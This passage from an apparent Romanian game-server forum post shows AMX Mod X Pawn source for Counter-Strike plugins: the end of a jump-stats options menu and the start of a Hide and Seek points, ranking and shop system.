remove_task(id+15237, 0);
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
}
public reset_tops(id, level, cid)
{
if( !cmd_access(id, level, cid, 1) ) return PLUGIN_HANDLED;
if(kz_sql == 0)
{
client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESET");
server_print("%L",LANG_SERVER,"UQSTATS_RESET");
TrieClear(JData);
TrieClear(JData_Block);
}
else if(kz_sql == 1)
{
client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESETF");
server_print("%L",LANG_SERVER,"UQSTATS_RESETF");
}
return PLUGIN_CONTINUE;
}
public Option(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU1");
if(g_lj_stats[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11b");
}
if(gHasColorChat[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12b");
}
if(speedon[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13a");
keys |= (1<<2);
}
else
{
keys |= (1<<2);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13b");
}
if(showpre[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14a");
keys |= (1<<3);
}
else
{
keys |= (1<<3);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14b");
}
if(streifstat[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15a");
keys |= (1<<4);
}
else
{
keys |= (1<<4);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15b");
}
if(kz_beam[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16a");
keys |= (1<<5);
}
else
{
keys |= (1<<5);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16b");
}
if(showduck[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17a");
keys |= (1<<6);
}
else
{
keys |= (1<<6);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17b");
}
if(failearly[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18a");
keys |= (1<<7);
}
else
{
keys |= (1<<7);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18b");
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUNEXT");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu1");
}
public OptionMenu1(id, key)
{
switch((key+1))
{
case 1:
{
cmdljStats(id);
Option(id);
}
case 2:
{
cmdColorChat(id);
Option(id);
}
case 3:
{
show_speed(id);
Option(id);
}
case 4:
{
show_pre(id);
Option(id);
}
case 5:
{
streif_stats(id);
Option(id);
}
case 6:
{
cmdljbeam(id);
Option(id);
}
case 7:
{
duck_show(id);
Option(id);
}
case 8:
{
show_early(id);
Option(id);
}
case 9:
{
Option2(id);
}
}
return PLUGIN_HANDLED;
}
public Option2(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2");
if(multibhoppre[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21b");
}
if(Show_edge[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22b");
}
if(Show_edge_Fail[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23a");
keys |= (1<<2);
}
else
{
keys |= (1<<2);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23b");
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU24",user_block[id][1]);
keys |= (1<<3);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU25",user_block[id][0]);
keys |= (1<<4);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU26",min_prestrafe[id]);
keys |= (1<<5);
if(beam_type[id]==1)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27a");
keys |= (1<<6);
}
else if(beam_type[id]==2)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27b");
keys |= (1<<6);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BACK");
keys |= (1<<7);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2NEXT");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu2");
}
public OptionMenu2(id, key)
{
switch((key+1))
{
case 1:
{
multi_bhop(id);
Option2(id);
}
case 2:
{
Showedge(id);
Option2(id);
}
case 3:
{
ShowedgeFail(id);
Option2(id);
}
case 4:
{
user_block[id][1]=user_block[id][1]+10;
if(user_block[id][1]>=user_block[id][0])
{
user_block[id][1]=uq_minedge;
}
Option2(id);
}
case 5:
{
if(user_block[id][0]==uq_maxedge)
{
user_block[id][0]=user_block[id][1];
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE1",uq_maxedge);
}
user_block[id][0]=user_block[id][0]+10;
Option2(id);
}
case 6:
{
if(min_prestrafe[id]>=320)
{
min_prestrafe[id]=0;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE2");
}
min_prestrafe[id]=min_prestrafe[id]+20;
Option2(id);
}
case 7:
{
if(beam_type[id]==1)
{
beam_type[id]=2;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT1");
}
else
{
beam_type[id]=1;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT2");
}
Option2(id);
}
case 8:
{
Option(id);
}
case 9:
{
Option3(id);
}
}
return PLUGIN_HANDLED;
}
public Option3(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3");
if(enable_sound[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31b");
}
if(showjofon[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32b");
}
if(height_show[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33a");
keys |= (1<<2);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33b");
keys |= (1<<2);
}
if(jofon[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34a");
keys |= (1<<3);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34b");
keys |= (1<<3);
}
if(jheight_show[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35a");
keys |= (1<<4);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35b");
keys |= (1<<4);
}
if(uq_istrafe)
{
if(ingame_strafe[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36a");
keys |= (1<<5);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36b");
keys |= (1<<5);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38",showtime_st_stats[id]/10);
keys |= (1<<6);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU37");
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38F",showtime_st_stats[id]/10);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3BACK");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu3");
}
public OptionMenu3(id, key)
{
switch((key+1))
{
case 1:
{
enable_sounds(id);
Option3(id);
}
case 2:
{
show_jof(id);
Option3(id);
}
case 3:
{
heightshow(id);
Option3(id);
}
case 4:
{
trainer_jof(id);
Option3(id);
}
case 5:
{
show_jheight(id);
Option3(id);
}
case 6:
{
ingame_st_stats(id);
Option3(id);
}
case 7:
{
if(showtime_st_stats[id]==200)
{
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU3MAXSEC");
showtime_st_stats[id]=0;
}
showtime_st_stats[id]=showtime_st_stats[id]+10;
Option3(id);
}
case 9:
{
Option2(id);
}
}
return PLUGIN_HANDLED;
}
public native_kz_get_configsdir(name[], len)
{
param_convert(1);
new lalin[64];
get_localinfo("amxx_configsdir", lalin,63);
return formatex(name, len, "%s/%s", lalin, KZ_DIR);
}
public plugin_end()
{
if(kz_sql == 1)
{
if(DB_TUPLE)
SQL_FreeHandle(DB_TUPLE);
if(SqlConnection)
SQL_FreeHandle(SqlConnection);
TrieDestroy(JumpPlayers);
}
else if(kz_sql == 0)
{
TrieDestroy(JData);
TrieDestroy(JData_Block);
}
}
sistem de puncte
Code: Select all
// LAST EDIT ON >>> 05.04.2019 19:52
#pragma dynamic 32768
#include < amxmodx >
#include < amxmisc >
#include < cstrike >
#include < fakemeta >
#include <engine>
#include <fun>
#include < hamsandwich >
#define FVAULT
#if !defined FVAULT
#include < nvault >
new iVault
#else
#include < fvault >
new const g_VAULTNAME[] = "HnsPointsSystem";
#endif
#pragma tabsize 0
#define NEW_STYLE 1
#if NEW_STYLE == 1
new g_MenuX,arme1[33],arme2[33],arme3[33],respawn_on[33],accesari[33]
// my logs directory function
stock get_logsdir(output[], len) {
return get_localinfo("amxx_logs", output, len);
}
//#define DEBUG
#define TASK_ID_REMOVE 14325
new gCaseSensitive;
#define IsCaseSensitive(%1) (gCaseSensitive & (1 << (%1 & 31)))
#define SetCaseSensitive(%1) gCaseSensitive |= (1 << (%1 & 31))
#define ClearCaseSensitive(%1) gCaseSensitive &= ~(1 << (%1 & 31))
// admin data stored
enum _:AdminData {
Admin_Auth[44],
Admin_Password[32],
Admin_Access,
Admin_Flags
};
// array holding admin data
new Array:gAdminData;
// auth key pointing to index of array
new Trie:gAuthIndex;
// size of array
new gNumAdmins;
// file where admins are loaded
new gAdminFile[125];
// kick command
new gKickCommand[125];
new bool:ea[33]=false
#if defined DEBUG
new gLogFile[65];
#define DebugLog(%1) log_to_file(gLogFile, %1)
new const gSeparator[] = "===========================================================";
#else
stock DebugLog(any:...) { }
stock gSeparator;
#endif
#else
new bool:respawn_on[33]=true
#endif
/*
const MAXPLAYERS = 32;
#define IsPlayer(%1) (1<=%1<=MAXPLAYERS)*/
#define PLUGIN "HNS POINTS SYS"
#define VERSION "1.5x"
#define TASK_pentru 06091993
// |-- CC_ColorChat --|
enum Color
{
NORMAL = 1, // Culoarea care o are jucatorul setata in cvar-ul scr_concolor.
GREEN, // Culoare Verde.
TEAM_COLOR, // Culoare Rosu, Albastru, Gri.
GREY, // Culoarea Gri.
RED, // Culoarea Rosu.
BLUE, // Culoarea Albastru.
};
new TeamName[ ][ ] =
{
"",
"TERRORIST",
"CT",
"SPECTATOR"
};
// |-- CC_ColorChat --|
new const g_szTag[ ] = "Hns#Points:";
/* Special Plugin Acces */
new const PluginSpecialAcces[ ][ ] =
{
"eVoLuTiOn",
"Triplu"
}
new g_szName[ 33 ][ 32 ],g_iUserCredits[ 33 ],iCredits,szFirstArg[ 32 ], szSecondArg[ 10 ],iPlayer,szArg[ 32 ];
new g_iCvarPTREnable,g_iCvarPTRMinutes,g_iCvarPTRCredits,g_iUserTime[ 33 ];
new g_iCvarEnable,g_iCvarKCredits,g_iCvarHECredits,g_iCvarKHCredits;
#define C_R1 150
#define C_R2 250
#define C_R3 350
#define C_R4 700
#define C_R5 2500
new const Prefix[][] =
{
"",//NU EDITA FMMMMMMMMMMMMMMM......
"Rank I",
"Rank II",
"Rank III",
"Rank IV",
"Rank V"
}
new Level[33],rounds
//new rounds2
#if NEW_STYLE!=1
new Menu,titlex[255]/*,menux[555]*/
new respawn_count1[33],respawn_count2[33],choosed1[33],choosed2[33],choosed3[33],choosed5[33],choosed4[33]
#define TITLE_RANKI "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y I"
#define TITLE_RANKII "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y II"
#define TITLE_RANKIII "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y III"
#define TITLE_RANKIV "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y IV"
#define TITLE_RANKV "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y V"
#define GOLD_AK "models/goldenhns/v_ak47.mdl"
new bool:gold_ak[33]
#endif
new bool:k1[33],bool:k2[33],bool:k3[33]
new text[512],spw[65],szPassword[35],g_Menu,bool:g_Password[33]=false,bool:have_speed[33],bool:have_gravity[33],roundsx=0
#if NEW_STYLE!=1
new bool:start_round_count[33]
#else
new start_round_count[33]
#endif
#define INFO_ZERO 0
#define NTOP 10
#define TIME 180.0
new toppoints[33]
new topnames[33][33]
new Data[64]
public plugin_init( )
{
register_plugin( PLUGIN, VERSION, "Askhanar" );//edit by raiz0 for triplu
register_clcmd( "say", "ClCmdSay" );
register_clcmd( "say_team", "ClCmdSay" );
register_clcmd( "puncte", "ClCmdCredits" );
register_clcmd( "points", "ClCmdCredits" );
register_clcmd( "amx_puncte", "ClCmdGiveCredits" );
register_clcmd( "amx_takepuncte", "ClCmdTakeCredits" );
RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );
//register_forward( FM_ClientUserInfoChanged, "Fwd_ClientUserInfoChanged" );
g_iCvarPTREnable = register_cvar( "pentru_enable", "1" );
g_iCvarPTRMinutes = register_cvar( "pentru_minutes", "60" );//60 minute = 1 ora
g_iCvarPTRCredits = register_cvar( "pentru_points", "50" );
set_task( 1.0, "task_PTRFunction", TASK_pentru, _, _, "b", 0 );
g_iCvarEnable = register_cvar( "pk_enable", "1" );
g_iCvarKCredits = register_cvar( "pk_k_points", "15" );
g_iCvarKHCredits = register_cvar( "pk_h_points", "30" );
g_iCvarHECredits = register_cvar( "pk_he_points", "20" );
register_event( "DeathMsg","ev_DeathMsg", "a")
//RegisterHam(Ham_Killed, "player", "ev_DeathMsg",0);//1-after / 0-before
//register_forward(FM_UpdateClientData, "fw_UpdateClientData_Post", 1)
register_clcmd("ranks", "cmdRank")
#if NEW_STYLE !=1
register_clcmd("amx_buy_vip", "buy_vip", ADMIN_USER, "<password>");
#endif
register_clcmd( "say /shop", "ClCmdSaySHOP" );
register_clcmd( "say_team /shop", "ClCmdSaySHOP" );
register_event("HLTV", "event_new_round", "a", "1=0", "2=0")
g_Menu = register_menuid("Knife Mod")
register_menucmd(g_Menu, 1023, "knifemenu")
register_clcmd( "say /knifepower", "ClCmdSayK" );
register_clcmd( "say_team /knifepower", "ClCmdSayK" );
register_clcmd( "say /knifes", "ClCmdSayK" );
register_clcmd( "say_team /knifes", "ClCmdSayK" );
register_clcmd( "say /knives", "ClCmdSayK" );
register_clcmd( "say_team /knives", "ClCmdSayK" );
register_clcmd("amx_buy_vipg1", "buy_vip_g1", ADMIN_USER, "<password>");
RegisterHam( Ham_TakeDamage, "player", "Player_TakeDamage" );
#if NEW_STYLE == 1
g_MenuX = register_menuid("Shop Mod")
register_menucmd(g_MenuX, 1023, "shopmenu")
if(!cvar_exists("amx_mode")) register_cvar("amx_mode","1")
if(!cvar_exists("amx_password_field")) register_cvar("amx_password_field","_pw")
if(!cvar_exists("amx_default_access")) register_cvar("amx_default_access","z")
#if defined DEBUG
// locate log file directory
get_logsdir(gLogFile, charsmax(gLogFile));
new l = add(gLogFile, charsmax(gLogFile), "/admin_custom");
// check if log directory exists
if(!dir_exists(gLogFile)) {
// make directory
mkdir(gLogFile);
}
// get the log file
get_time("/%Y-%m-%d.log", gLogFile[l], charsmax(gLogFile) - l);
#endif
// register kick command
formatex(gKickCommand, charsmax(gKickCommand), "amxauthcustom%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'));
register_concmd(gKickCommand, "CmdKick");
// locate admin file
get_configsdir(gAdminFile, charsmax(gAdminFile));
add(gAdminFile, charsmax(gAdminFile), "/users_custom.ini");
// create array and trie
gAdminData = ArrayCreate(AdminData);
gAuthIndex = TrieCreate();
// load admins
LoadAdmins();
// grab current time
new hour, minute, second;
time(hour, minute, second);
// subtract current time from day length to get time left for today
// add 5 seconds into the next day to be sure the day changed
new timeLeft = 86400 - (hour * 3600) - (minute * 60) - second + 5;
// set task to refresh admins when tomorrow starts for expiration checking and day checking
set_task(float(timeLeft), "TaskRefreshAdmins");
#endif
//register_clcmd( "transfer", "ClCmdFcsDonate" );
register_clcmd( "say /toppuncte", "TopPuncte" );
register_clcmd( "say_team /toppuncte", "TopPuncte" );
get_datadir(Data, 63);
read_top();
register_cvar("last_shop","1")
}
#if NEW_STYLE !=1
public plugin_precache() precache_model(GOLD_AK)
#endif
public RefreshTime(id) {
checkandupdatetop(id,g_iUserCredits[id]);
return PLUGIN_HANDLED;
}
public checkandupdatetop(id, points) {
read_top()
for (new i = INFO_ZERO; i < NTOP; i++)
{
if( points > toppoints[i])
{
new pos = i;
while( !equal(topnames[pos],g_szName[id]) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(topnames[j], 31, topnames[j-1]);
toppoints[j] = toppoints[j-1];
}
formatex(topnames[i], 31, g_szName[id]);
toppoints[i]=points;
ColorChat(0, BLUE,"^x04%s^x03 %s^x01 este pe locul^x04 %d^x01 in top puncte cu^x03 %d^x01 punct%s", g_szTag, g_szName[id],(i+1),points,points == 1 ? "" : "e");
save_top();
break;
}
else if( equal(topnames[i], g_szName[id]))
break;
}
}
public save_top() {
new path[128];
formatex(path, 127, "%s/TopPuncte.dat", Data);
if( file_exists(path) ) {
delete_file(path);
}
new Buffer[256];
new f = fopen(path, "at");
for(new i = INFO_ZERO; i < NTOP; i++)
{
formatex(Buffer, 255, "^"%s^" ^"%d^"^n",topnames[i],toppoints[i] );
fputs(f, Buffer);
}
fclose(f);
}
public read_top() {
new Buffer[256],path[128];
formatex(path, 127, "%s/TopPuncte.dat", Data);
new f = fopen(path, "rt" );
new i = INFO_ZERO;
while( !feof(f) && i < NTOP+1)
{
fgets(f, Buffer, 255);
new points[25]
parse(Buffer, topnames[i], 31, points, 25);
toppoints[i]= str_to_num(points);
i++;
}
fclose(f);
}
public TopPuncte(id)
{
static buffer[2368], len, i,name[131]
len = format(buffer[len], 2367-len,"<html><head><meta charset=UTF-8><STYLE>body{background:#232323;color:#cfcbc2;font-family:sans-serif}table{border-style:solid;border-width:1px;border-color:#FFFFFF;font-size:13px}</STYLE></head><body><table align=center width=100%% cellpadding=2 cellspacing=0>");
len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=4%% > Nume: <th width=24%%> Puncte:");
for(i = INFO_ZERO; i < NTOP; i++ ) {
if( toppoints[i] == 0) {
len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#232323><td> %s <td> %s", "-", "-");
i = NTOP
}
else {
name = topnames[i];
while( containi(name, "<") != -1 ) replace(name, 129, "<", "<");
while( containi(name, ">") != -1 ) replace(name, 129, ">", ">");
if(equal(topnames[i],g_szName[id])) len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#2D2D2D> <td> [ %s ] <td> [ %d ]", name,toppoints[i]);
else len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#232323> <td> [ %s ] <td> [ %d ]", name,toppoints[i]);
}
}
len += format(buffer[len], 2367-len, "</table>");
len += formatex(buffer[len], 2367-len, "<tr align=bottom font-size:11px><Center><br><br>Primii %d Jucatori Cu Cele Mai Multe Puncte Acumulate</Center></tr></body>",NTOP);
static strin[125];
format(strin,124, "Top %d jucatori cu multe puncte",NTOP);
show_motd(id, buffer, strin);
}
public ClCmdSay( id )
{
static szArgs[192],arg1[32], arg2[32], arg3[6]
read_args( szArgs, sizeof ( szArgs ) -1 );
remove_quotes( szArgs );
arg1[0] = '^0';
arg2[0] = '^0';
arg3[0] = '^0';
parse(szArgs, arg1, sizeof(arg1)-1, arg2, sizeof(arg2)-1, arg3, sizeof(arg3)-1);
if( !szArgs[ 0 ] )
return PLUGIN_CONTINUE;
new szCommand[ 15 ];
if( equal( szArgs, "/puncte", strlen( "/puncte" ) )
|| equal( szArgs, "/points", strlen( "/points" ) ) )
{
replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
client_cmd( id, szCommand );
return PLUGIN_HANDLED;
}
if( equal( szArgs, "/ranks", strlen( "/ranks" ) ) )
{
replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
client_cmd( id, szCommand );
return PLUGIN_HANDLED;
}
/*if( equal( arg1, "/transfer") )
{
ClCmdFcsDonate(id,arg2,arg3)
return 1;
}*/
return PLUGIN_CONTINUE;
}
stock ClCmdFcsDonate( id, target[], amnt[] )
{
if( equal(amnt,"") )
{
ColorChat( id, NORMAL, "^x04%s^x01 Folosire:^x03 /transfer^x01 <^x04 nume^x01 > <^x03 punct(e)^x01 >", g_szTag );
return 1;
}
new temp = str_to_num(amnt);
if( temp <= 0 )
{
ColorChat( id, NORMAL, "^x04%s^x01 Trebuie sa introduci o valoare mai mare de^x03 1P", g_szTag );
return PLUGIN_HANDLED;
}
if( temp >100 )
{
ColorChat( id, NORMAL, "^x04%s^x01 Trebuie sa introduci o valoare mai mica de^x03 100P", g_szTag );
return PLUGIN_HANDLED;
}
if( g_iUserCredits[ id ] < temp )
{
ColorChat( id, NORMAL, "^x04%s^x01 Nu ai destule punct%s, ai doar^x03 %i^x01 punct%s", g_szTag,g_iUserCredits[ id ] == 1 ? "" : "e", g_iUserCredits[ id ], g_iUserCredits[ id ] == 1 ? "" : "e" );
return 1;
}
iPlayer = cmd_target( id, target, 8 );
if( !iPlayer || !is_user_connected( iPlayer ) )
{
ColorChat( id, NORMAL, "^x04%s^x01 Acel jucator nu a fost gasit", g_szTag );
return PLUGIN_HANDLED;
}
if( iPlayer == id )
{
ColorChat( id, NORMAL, "^x04%s^x01 Nu-ti poti transfera puncte", g_szTag );
return PLUGIN_HANDLED;
}
g_iUserCredits[ id ] -= temp;
g_iUserCredits[ iPlayer ] += temp;
SaveCredits( id );
SaveCredits( iPlayer );
new szFirstName[ 32 ], szSecondName[ 32 ];
get_user_name( id, szFirstName, sizeof ( szFirstName ) -1 );
get_user_name( iPlayer, szSecondName, sizeof ( szSecondName ) -1 );
ColorChat( 0, NORMAL, "^x04%s^x01 Jucatorul^x03 %s^x01 i-a transferat^x04 %i^x01 punct%s lu^x03 %s", g_szTag, szFirstName, temp, temp == 1 ? "" : "e", szSecondName );
return PLUGIN_HANDLED;
}
public event_new_round()
{
for(new id=0;id<get_maxplayers();++id)
{
#if NEW_STYLE!=1
if(start_round_count[id])
{
#else
if(accesari[id]<2) accesari[id]=0
else if(accesari[id]!=0&&++roundsx>=1)
{
accesari[id]=0
roundsx=0
}
if(start_round_count[id]==1||start_round_count[id]==2||start_round_count[id]==3||start_round_count[id]==4)
{
rounds++
#endif
#if NEW_STYLE == 1
if(respawn_on[id]>0) respawn_on[id]--
if(arme1[id]>0) arme1[id]--
if(arme2[id]>0) arme2[id]--
if(arme3[id]>0) arme3[id]--
if(rounds>=3)
{
if(respawn_on[id]<=0)
{
respawn_on[id]=0
start_round_count[id]=5
}
if(arme1[id]<=0)
{
arme1[id]=0
start_round_count[id]=6
}
if(arme2[id]<=0)
{
arme2[id]=0
start_round_count[id]=7
}
if(arme3[id]<=0)
{
arme3[id]=0
start_round_count[id]=8
}
rounds=0
}
#else
if(++rounds>=3)
{
start_round_count[id]=false
respawn_on[id]=true
/*if(respawn_count1[id]>=2)*/ respawn_count1[id]=0
/*if(respawn_count2[id]>=3)*/ respawn_count2[id]=0
rounds=0
}
#endif
#if NEW_STYLE!=1
//if(++rounds2>1)
//{
/*if(choosed1[id]>=4)*/ choosed1[id]=0
/*if(choosed2[id]>=4)*/ choosed2[id]=0
/*if(choosed3[id]>=4)*/ choosed3[id]=0
/*if(choosed4[id]>=4)*/ choosed4[id]=0
/*if(choosed5[id]>=4)*/ choosed5[id]=0
//rounds2=0
//}
#endif
#if NEW_STYLE!=1
}
#else
}
#endif
}
}
public ClCmdSaySHOP(id)
{
if(cs_get_user_team(id)==CS_TEAM_SPECTATOR)
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi inscris intr-o^3 Echipa^1 pentru a accesa^4 Shopul^1!",g_szTag)
return PLUGIN_HANDLED
}
if(accesari[id]==2)
{
ColorChat(id, NORMAL, "^4%s^1 Ai accesat meniul de doua ori / Asteapta RUNDA VIITOARE !",g_szTag)
return PLUGIN_HANDLED
}
if(get_cvar_num("last_shop")==1)
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 SHOP menu^1 it'is^4 LAST BITCH^1 !")
return PLUGIN_HANDLED
}
}
#if NEW_STYLE == 1
static menu[1048]
new len = formatex( menu, charsmax(menu), "\r[HNS.PLAY-ARENA.RO]\y MENU SHOP HNS^n^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[1]\w 50HP+50AP+3$ Medic\r [ 100 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[2]\w Speed 350 15 Secunde\r [ 80 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[3]\w Invizil 15 Secunde\r [ 150 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[4]\w Gravity 400 40 Secunde\r [ 200 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[5]\w 1 Respawn\r [ 150 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[6]\w V.I.P System\r [ 5000 puncte ]\d [ 14 zile ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[7]\w USP 3GL + 2HE + 2SMK + 10 HP\r [ 350 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[8]\w AK47 5GL + 1HE + 1SMK \r[ 500 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "\y[9]\w AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic\r [ 800 puncte ]^n")
len += formatex( menu[len], charsmax(menu) - len, "^n\w0.\r Iesire")
new keys = ( 1<<0 | 1<<1 | 1<<2 |1<<3|1<<4|1<<5|1<<6|1<<7|1<<8| 1<<9 )
show_menu(id, keys, menu, -1, "Shop Mod")
#else
if(choosed1[id]>=4||choosed2[id]>=4||choosed3[id]>=4||choosed4[id]>=4||choosed5[id]>=4)
{
ColorChat(id, NORMAL, "^4[HNS]^1 Ai folosit meniul de^3 4^1 ori ! Asteapta pana^3 runda viitoare")
return PLUGIN_HANDLED
}
CheckLevel(id)
/*
if(Level[id] <= 1) ranki_shop(id)
if(Level[id] >= 2) rankii_shop(id)
if(Level[id] >= 3) rankiii_shop(id)
if(Level[id] >= 4) rankiv_shop(id)
if(Level[id] >= 5) rankv_shop(id)
*/
//hard..next to switch
